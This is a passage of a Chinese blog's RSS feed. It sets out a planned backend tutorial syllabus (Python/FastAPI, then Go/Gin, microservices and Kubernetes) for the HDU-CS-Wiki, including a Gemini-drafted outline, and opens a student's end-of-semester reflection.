&lt;li&gt;连接数据库: 使用 SQLite 作为入门数据库，配置数据库连接。&lt;/li&gt;
&lt;li&gt;实现 CRUD: 编写完整的增、删、改、查四个 API 接口。&lt;/li&gt;
&lt;li&gt;数据库事务的概念和重要性(ACID), SQLModel 的 session&lt;/li&gt;
&lt;li&gt;索引设计&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;提供一个复杂的数据库 ER 图, 要求编写几个不同复杂度的 SQL 查询语句, 覆盖连接 (JOIN), 分组 (GROUP BY), 子查询等。&lt;/li&gt;
&lt;li&gt;用ORM的关系预加载优化一个 N+1 查询问题.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;SQL, NoSQL(MongoDB, Redis, Neo4j)&lt;/li&gt;
&lt;li&gt;索引, 外键, 多对多&amp;hellip;&lt;/li&gt;
&lt;li&gt;alembic 等数据库同步工具&lt;/li&gt;
&lt;li&gt;ACID、CAP 和 BASE&lt;/li&gt;
&lt;li&gt;软删除&lt;/li&gt;
&lt;li&gt;SQL 注入&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块三-代码的规范化"&gt;模块三： 代码的规范化
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;问题引入&lt;/strong&gt;: 当业务逻辑变复杂时，所有代码都写在路由函数里的坏处。&lt;/li&gt;
&lt;li&gt;重构代码: 引入三层架构思想, 把先前的代码清晰分为API层, 服务层, 路由层.&lt;/li&gt;
&lt;li&gt;如何避免过度设计&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;IoC 和 依赖注入&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://refactoringguru.cn/design-patterns/catalog" target="_blank" rel="noopener"
&gt;22种设计模式&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;SOLID 原则&lt;/li&gt;
&lt;li&gt;领域驱动设计&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块四-中间件"&gt;模块四： 中间件
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;中间件基本概念&lt;/li&gt;
&lt;li&gt;中间件一般应用场景&lt;/li&gt;
&lt;li&gt;错误处理中间件(统一错误响应格式)&lt;/li&gt;
&lt;li&gt;CORS中间件&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;编写一个简单的记录API日志的中间件, 统计请求处理时长.&lt;/li&gt;
&lt;li&gt;实现自定义异常处理中间件&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块五-基本的安全思想"&gt;模块五: 基本的安全思想
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;JWT Token&lt;/li&gt;
&lt;li&gt;passwd_hashed&lt;/li&gt;
&lt;li&gt;CORS&lt;/li&gt;
&lt;li&gt;环境变量管理敏感信息&lt;/li&gt;
&lt;li&gt;永远不要相信用户的输入&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;实现一个完整的注册登陆流程, 密码哈希存储&lt;/li&gt;
&lt;li&gt;利用中间件实现API的Token鉴权&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块六交付你的第一个后端服务-容器化"&gt;模块六：交付你的第一个后端服务 (容器化)
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Docker 入门: 讲解什么是 Docker, 它解决了什么问题.&lt;/li&gt;
&lt;li&gt;Dockerfile: 为 FastAPI 应用编写一个 Dockerfile&lt;/li&gt;
&lt;li&gt;Docker Compose&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;除了Docker以外的容器, Podman, container.d&lt;/li&gt;
&lt;li&gt;CI/CD, Github Actions&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="project-1-电子书商城"&gt;Project 1: 电子书商城
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;与前端组协调, 后端小组与前端小组共同完成电子书商城项目.&lt;/li&gt;
&lt;li&gt;要求:
&lt;ul&gt;
&lt;li&gt;强制使用 Feature Branch 工作流&lt;/li&gt;
&lt;li&gt;编写有意义的 Commit Message&lt;/li&gt;
&lt;li&gt;团队成员之间需要进行 Code Review&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="第二部分-后端进阶-go--gin"&gt;第二部分： 后端进阶 (Go + Gin)
&lt;/h2&gt;&lt;h3 id="教学目标二"&gt;教学目标(二)
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;深入原理: 通过 Go 的显式特性，让学生深刻理解路由、中间件、ORM 等概念的底层实现本质。&lt;/li&gt;
&lt;li&gt;培养底层思维: 从一个“框架使用者”转变为一个能思考性能、并发、内存管理的“工程师”。&lt;/li&gt;
&lt;li&gt;掌握 Go 后端开发: 熟练使用 Go 语言、Gin 框架和 GORM 来构建高性能的后端服务，并掌握 Go 的指针、错误处理等核心特性。&lt;/li&gt;
&lt;li&gt;熟悉高级组件: 使用 Redis 缓存，使用消息队列。&lt;/li&gt;
&lt;li&gt;衔接微服务架构: 理解从单体应用到微服务的演进过程，初步掌握 RPC (gRPC)、服务注册与发现、容器编排 (Kubernetes) 等核心概念。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="课程大纲二"&gt;课程大纲(二)
&lt;/h3&gt;&lt;h4 id="lab-0-go语言基础"&gt;Lab 0: Go语言基础
&lt;/h4&gt;&lt;p&gt;Go 语法, Go环境搭建, 工作区概念, Go Modules, Goroutine&lt;/p&gt;
&lt;h4 id="模块一-重新认识路由和框架"&gt;模块一： 重新认识路由和框架
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;路由的本质: 先用 Go 标准库 net/http 手写一个简单的 Web 服务器，暴露路由函数。&lt;/li&gt;
&lt;li&gt;引入 Gin: 讲解 Gin 如何用更优雅的方式解决了 net/http 的路由和分组问题。&lt;/li&gt;
&lt;li&gt;Gin 的 Context&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;尝试使用 net/http 实现一个支持不同HTTP方法的路由分发器&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;gin-swagger&lt;/li&gt;
&lt;li&gt;大厂基于Gin的框架&lt;/li&gt;
&lt;li&gt;GORM&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块二-再论架构与中间件的本质"&gt;模块二： 再论架构与中间件的本质
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;通过接口和构造函数手动注入依赖, 本质上为了解决相同的问题&lt;/li&gt;
&lt;li&gt;中间件的本质: 手写一个最简单的 Gin 中间件, 本质是一个接收 *gin.Context 并调用 c.Next() 的函数. 责任链模式.&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;替换Gin框架的默认Logger中间件&lt;/li&gt;
&lt;li&gt;实现一个 Panic 恢复中间件, 确保单个请求的崩溃不会导致整个服务宕机, 并能记录下崩溃的堆栈信息&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;Go的闭包&lt;/li&gt;
&lt;li&gt;go 的反射机制和适用场景&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块三-消息队列"&gt;模块三: 消息队列
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;问题引入: 当服务所需要的请求量越来越多&lt;/li&gt;
&lt;li&gt;RabbitMQ(AMQP 模型) 和 Kafka(流模型) 的区别和适用场景&lt;/li&gt;
&lt;li&gt;ACK, 持久化和重试&lt;/li&gt;
&lt;li&gt;什么时候应当为系统引入消息队列才不会显得累赘&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;实现一个异步任务, 通过API提交某个耗时请求之后, 服务将任务放入RabbitMQ后立即返回, 让一个Worker服务消费任务&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;死信队列&lt;/li&gt;
&lt;li&gt;Kafka核心概念: Topic, Partition, Offset, Consumer Group&lt;/li&gt;
&lt;li&gt;RocketMQ&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块四-缓存"&gt;模块四: 缓存
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Redis&lt;/li&gt;
&lt;li&gt;缓存的常见策略 (Cache-aside, Read-through, Write-through)&lt;/li&gt;
&lt;li&gt;缓存穿透、缓存击穿、缓存雪崩的原因和解决方案&lt;/li&gt;
&lt;li&gt;Redis 常见数据结构的使用场景&lt;/li&gt;
&lt;li&gt;什么时候应当引入缓存才不会显得累赘&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;为某个高频读取的API增加Redis缓存(Cache-aside), 并进行压测, 对比QPS和响应时间。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;缓存与数据库一致性问题&lt;/li&gt;
&lt;li&gt;分布式锁的概念与基于Redis的实现&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块五从单体到微服务"&gt;模块五：从单体到微服务
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;单体应用的痛点, 为什么业界会需要微服务架构&lt;/li&gt;
&lt;li&gt;RPC概念, 以及RPC的底层本质&lt;/li&gt;
&lt;li&gt;gRPC: Protobuf, 服务定义, 四种通信模式, 在Go中的实践&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;创建两个微服务：user-service 和 order-service。order-service 在创建订单时，需要通过 gRPC 调用 user-service 来验证用户信息是否存在&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块六kubernetes"&gt;模块六：Kubernetes
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;什么是容器编排? 为什么已经有compose了还需要k8s?&lt;/li&gt;
&lt;li&gt;k8s 架构和核心概念讲解&lt;/li&gt;
&lt;li&gt;kind&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;为一个简单的微服务编写Kubernetes的Deployment和Service的YAML文件, 并使用kind在本地部署起来&lt;/li&gt;
&lt;li&gt;在kind集群中滚动更新 (Rolling Update) 和回滚 (Rollback) 一个服务&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;k8s 官方文档&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="project-2--电商平台"&gt;Project 2 : 电商平台
&lt;/h4&gt;&lt;p&gt;参考2024年字节后端青训营项目. 要求使用gRPC的微服务架构, 使用k8s集群进行部署.&lt;/p&gt;
&lt;h4 id="延伸"&gt;延伸
&lt;/h4&gt;&lt;p&gt;一起收集一下常见的各种典型后端项目的设计与实现方式.&lt;/p&gt;</description></item><item><title>HDU-CS-Wiki 后端开发入门教程的教学大纲设想</title><link>https://v3n0.com/post/backend-tutorial/hdu-cswiki-backend-learning-route/</link><pubDate>Sun, 13 Jul 2025 14:18:18 +0800</pubDate><guid>https://v3n0.com/post/backend-tutorial/hdu-cswiki-backend-learning-route/</guid><description>&lt;p&gt;2025-09-28 编辑：本人将不再参与 hdu-cs.wiki 的编辑。后端教程不会继续在 Wiki 上更新。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;需要给&lt;a class="link" href="https://hdu-cs.wiki" target="_blank" rel="noopener"
&gt;HDU-CS-Wiki&lt;/a&gt;写后端入门教程了, 在这里罗列一下自己的想法.&lt;/p&gt;
&lt;p&gt;这个教程教授的目标我更希望是能传达后端开发的心法, 能教会小白在面对一个自己从来没接触过的Web框架甚至新的编程语言时, 如何用同样的思路, 通用的知识, 通过阅读框架文档, 来实现自己想做的项目功能. 明确这个目标, 才不会把教程写的像是重写了一遍Web框架文档, 变得像Gin框架学习笔记之类的东西一样.&lt;/p&gt;
&lt;p&gt;教学语言和使用框架的选择我想到了几个, Node.js+Express, Python+FastAPI, Go+Gin.&lt;/p&gt;
&lt;p&gt;Express的网络开源教程我感觉是最多最主流的, 核心思想. 然而本人现在实在没接触过js的生态, 如果真要写那要么现学现卖, 要么喊谷子哥代写了. (谷子哥留个博客链接我好加友链(x&lt;/p&gt;
&lt;p&gt;Python+FastAPI, 好处是语法比较简单, Python也是一个非常适合初学者入门而不被劝退的语言. 缺点是有可能会不得不引入一些框架核心的高级特性, 比如通过依赖注入获取db_session, 以及显式的异步调用, 以及会有解释型语言不可避免的运行时类型错误问题.&lt;/p&gt;
&lt;p&gt;Go+Gin, 语法很简洁, 没什么语法糖, 但没有传统的类和对象, 而是指针和结构体, 这对于小白来说可能会提高使用难度. 但是可能不那么简单也能算做优点, 因为Go的语言特性会让它的代码比较好读, 很适合让学习者思考这些框架是如何一步步搭建起来的, 核心的特性本质上是些什么东西, 可以去甚至可以尝试自己搭建一个简单的Web框架.&lt;/p&gt;
&lt;p&gt;我有种比较大胆的想法是, 先用Python+FastAPI+SQLModel做最基本的后端开发导入, 用短时间无痛构建一个完整且现代的服务, 目标是用最简单的代码讲述后端几个比较重要的概念, API和HTTP, 数据库, 经典的三层架构, 中间件, 容器, git协作. 然后用Go, 深入原理, 知其然而知其所以然, 同时也能向上引申, 从单体应用到微服务架构, 云原生的概念, 引出现代企业级后端的很多解决方案, k8s, redis, 消息队列等等.&lt;/p&gt;
&lt;p&gt;无论怎么转变语言和框架, 但是后端开发的本质思路是不变的, 路由注册, 请求解析, 业务逻辑, 数据交互, 响应生成. 教程需要强调的是教会人共通的后端思维, 教会人如何根据框架文档写代码. 我自己也并不熟悉很多的框架, 比如我从来没有用过Gin去写过代码. 但是我想把我如何通过查一个陌生的框架的文档, 找到如何注册一个路由注册一个中间件, 把这个过程给显式地表达出来. 我认为这种能力远比精通某一个Web框架更重要. 可能可以设置一个作业, 比如通过查找文档, 自己找到如何在FastAPI中实现一个文件上传的功能.&lt;/p&gt;
&lt;p&gt;然后可以介绍很多很不错的开源教程, 介绍很多好用的工具, Git团队协作需要的基本知识等等, 可以有很多外链&lt;/p&gt;
&lt;p&gt;我不太确定这样的教程思路是否合适, 还是很希望多提点建议的.&lt;/p&gt;
&lt;p&gt;让Gemini给我列了一个按照我那种大胆思路的教学大纲. 它的大纲我觉得还是太侧重于推崇Go语言这一点了. 我觉得每个人都可能会有自己的喜好, 我可能会更倾向于客观告诉学习者不同语言的特点, 优缺点, 鼓励多尝试, 找到适合自己的, 也提升不同语言的适应能力.&lt;/p&gt;
&lt;p&gt;Gemini的大纲如下:&lt;/p&gt;
&lt;h3 id="第一部分python--fastapi--sqlmodel-快速入门与核心概念构建"&gt;第一部分：Python + FastAPI + SQLModel (快速入门与核心概念构建)
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;核心定位: “信心助推器”。在最短的时间内，让一个新手无痛地构建一个完整、现代且专业的 API 服务，使其快速获得成就感，并对后端开发的核心概念有一个直观、感性的认识。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;教学目标 (Teaching Goals)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;快速上手: 让学生在几小时内，从零开始搭建起一个功能完整的 CRUD (增删改查) API。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;建立自信: 通过 FastAPI 强大的自动文档和 SQLModel 的易用性，让学生感受到现代工具带来的开发乐趣，消除对后端的畏难心理。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;掌握核心概念: 深刻理解以下通用概念：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 路由函数 (Routing) 与 HTTP 方法 (GET, POST, PUT, DELETE)。
2. ORM 与数据库操作 (CRUD)。
3. API-服务-数据 的三层架构模式。
4. 中间件 (Middleware) 的作用。
5. 学会现代部署: 掌握使用 Docker 和 Docker Compose 对应用进行容器化部署的基本技能。
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;课程大纲 (Course Outline)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;模块一：你好，后端世界！ (第一个 API)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;环境搭建: Python 与 venv 虚拟环境，使用 pip 安装 FastAPI。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hello, World: 编写第一个 @app.get(&amp;quot;/&amp;quot;) 路由函数。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;核心讲解: 什么是 HTTP？什么是 API？GET 和 POST 方法的区别。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;“魔法”展示: 介绍并使用 FastAPI 自动生成的交互式文档 (Swagger UI)，让学生可以立刻测试自己的 API。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;模块二：让数据持久化 (数据库操作)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;ORM 与模型: 介绍 SQLModel，定义第一个数据模型 (例如 Article 模型)。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;连接数据库: 使用 SQLite 作为入门数据库，配置数据库连接。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;实现 CRUD: 编写完整的增、删、改、查四个 API 接口。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;深入 Pydantic: 讲解 FastAPI 如何利用 Pydantic 模型自动完成请求数据的校验。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;模块三：代码的专业化之路 (三层架构)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;问题引入&lt;/strong&gt;: 当业务逻辑变复杂时，所有代码都写在路由函数里的坏处。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;重构代码: 引入三层架构思想，将代码清晰地分离为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;API 层 (api/routes.py): 只负责处理 HTTP 请求和响应。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;服务层 (services.py): 负责处理核心的业务逻辑。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;数据层 (data/repository.py): 负责与数据库进行交互。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;核心讲解: 讲解分层的好处：解耦、可测试性、可维护性。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;模块四：中间件的妙用&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;概念讲解: 什么是中间件？它就像一个洋葱，层层包裹你的请求。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;实践: 编写一个简单的中间件，例如记录每个请求的处理时间，并将其添加到日志中。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;模块五：交付你的第一个后端服务 (Docker 容器化)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Docker 入门: 讲解什么是 Docker，它解决了什么问题。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;编写 Dockerfile: 为我们的 FastAPI 应用编写一个 Dockerfile。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用 Docker Compose: 编写 docker-compose.yml，一键启动我们的应用服务和数据库服务。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="第二部分go--gin--gorm-深入原理与架构进阶"&gt;第二部分：Go + Gin + GORM (深入原理与架构进阶)
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;核心定位: “能力深化器”。在第一部分的基础上，用更接近底层的语言重新构建同一个应用，让学生从“知其然”到“知其所以然”。同时向上引申，打开通往微服务和云原生世界的大门。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;教学目标 (Teaching Goals)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;深入原理: 通过 Go 的显式特性，让学生深刻理解路由、中间件、ORM 等概念的底层实现本质。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;培养底层思维: 从一个“框架使用者”转变为一个能思考性能、并发、内存管理的“工程师”。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;掌握 Go 后端开发: 熟练使用 Go 语言、Gin 框架和 GORM 来构建高性能的后端服务，并掌握 Go 的指针、错误处理等核心特性。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;衔接微服务架构: 理解从单体应用到微服务的演进过程，初步掌握 RPC (gRPC)、服务注册与发现、容器编排 (Kubernetes) 等核心概念。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;课程大纲 (Course Outline)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;模块一：换一种语言，见一片新天地 (Go 与 Gin)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;环境与基础: Go 环境搭建、工作区概念、Go Modules 依赖管理。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;向下探索 (1) - 路由的本质: 先用 Go 标准库 net/http 手写一个简单的 Web 服务器，暴露路由函数。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;引入 Gin: 讲解 Gin 如何用更优雅的方式解决了 net/http 的路由和分组问题。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;核心讲解: Go 的 struct 与指针、if err != nil 的错误处理哲学。用 Go 重新实现第一个 API。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;模块二：在静态类型世界里操作数据 (GORM)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;GORM 基础: 使用 GORM 定义数据模型并连接数据库 (如 PostgreSQL)。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;重构 CRUD: 用 GORM 重新实现增删改查功能。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对比思考: 对比 GORM 和 SQLModel，探讨静态类型 ORM 和动态类型 ORM 的设计差异。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;模块三：再论架构与中间件的本质&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Go 的分层: 在 Go 项目中再次实践三层架构。
向下探索 (2) - 中间件的本质: 手写一个最简单的 Gin 中间件，让学生明白它就是一个接收 *gin.Context 并调用 c.Next() 的函数。揭示其中间件“责任链模式”的本质。
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;模块四：释放 Go 的力量 (并发编程)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Goroutine 入门: 讲解 Go 如何用 go 关键字轻松开启一个协程。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;实践: 举例说明并发的威力，例如模拟一个需要同时请求多个外部服务的场景。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;模块五：向上引申 - 从单体到微服务&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;理论篇: 讲解单体应用的痛点，引出微服务架构。介绍什么是 RPC，以及 gRPC 为何在云原生时代如此流行。
实践篇: 将我们的“文章服务”改造成一个独立的 gRPC 服务。然后，创建一个新的 Gin 项目作为 API 网关，由它来接收外部 HTTP 请求，再通过 RPC 调用后端的 gRPC 服务。
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;模块六：云原生之巅的惊鸿一瞥 (Kubernetes)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;概念讲解: 什么是容器编排？为什么有了 Docker 还需要 Kubernetes (k8s)？&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;初体验: 编写简单的 k8s Deployment 和 Service 配置文件，将我们之前容器化的 Go 微服务部署到本地的 k8s 集群 (如 Minikube 或 kind) 中。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;课程总结: 回顾整个旅程，学生已经从一个 API 的实现者，成长为一个理解现代后端架构的准工程师。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;后续和计科协后端组成员讨论出的几个点:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;课程形式: 线上文档, 放在wiki&lt;/li&gt;
&lt;li&gt;课程大作业: Proj1, 单体python后端应用(待定), 需要有前端, 可能和前端组进行沟通, Proj2, Go微服务架构的电商系统(参考去年青训营), proj2可以不用前端或提供简陋前端. 都是小组作业(git协作).&lt;/li&gt;
&lt;li&gt;教程编写周期: 暑假把第一部分教程完成, 完成一部分Proj2内容.&lt;/li&gt;
&lt;li&gt;教程学习周期: 一个学期学习一个部分. 第一学期需要一部分时间学习基础编程, 考虑达到CS61A的水准之后再开始学习本课程, 第二学期Proj2耗时较长, 可能需要两三个月&lt;/li&gt;
&lt;li&gt;编写教程不是最终目的, 培养一个入门的后端开发者才是最终目的, 在此基础上尽量让教程可以被复用. 因此我们需要在教学过程中及时跟进学习者的反馈, 并且讨论出合适的大作业评估方案. 之后才是进一步精进教程.&lt;/li&gt;
&lt;li&gt;对于教程编写者, 需要考虑教程实现的性价比最高的方案, 避免投入产出不成正比导致的教程编写未半而中道崩殂. 不要为了这个教程把自己搞的太累.&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>大一下的随笔以及想开的坑</title><link>https://v3n0.com/post/2025/ending-of-second-term-of-college/</link><pubDate>Sat, 21 Jun 2025 20:44:46 +0800</pubDate><guid>https://v3n0.com/post/2025/ending-of-second-term-of-college/</guid><description>&lt;p&gt;本来这个博客是要好好写很多东西的, 计划是学到什么就写什么, 做了什么就写什么, 总之有一切想法都写下来, 结果一点没写.&lt;/p&gt;
&lt;p&gt;在科协这里接了个挣米的某项目, 有得有失. 这个项目让我学到很多, 但也因为这个项目, 必须舍弃掉一些用于沉淀的时间.&lt;/p&gt;
&lt;p&gt;暑假可算是闲下来一半的了, 总不能接着荒废博客吧, 好歹是给域名付了费的. 正好把一学期下来实践过的学习到的那些知识, 积累的很多自认为很酷的想法, 想挖的想填的那些坑, 统统写下来.&lt;/p&gt;
&lt;p&gt;(但是可能会像流水账一样)&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;这篇文章应该会是一大段碎碎念.&lt;/p&gt;
&lt;p&gt;挣米的项目是某种物理的仿真器, 负责了一整大块的后端重构设计. 主要语言Python, 用到的库大致有 FastAPI, Pydantic, SQLAlchemy, pytest 测试框架, black 规范代码格式等等, 用上了自己这辈子能接触到的可能最夸张的性能级别的机器集群, 也学习了不少k8s相关的东西, 干了一学期下来自认为也算个python小手子了. 也接触尝试过不少的新东西, neovim, hyprland, 软路由, Gitea, proxmox, tmux ,podman&amp;hellip;&amp;hellip;&lt;/p&gt;
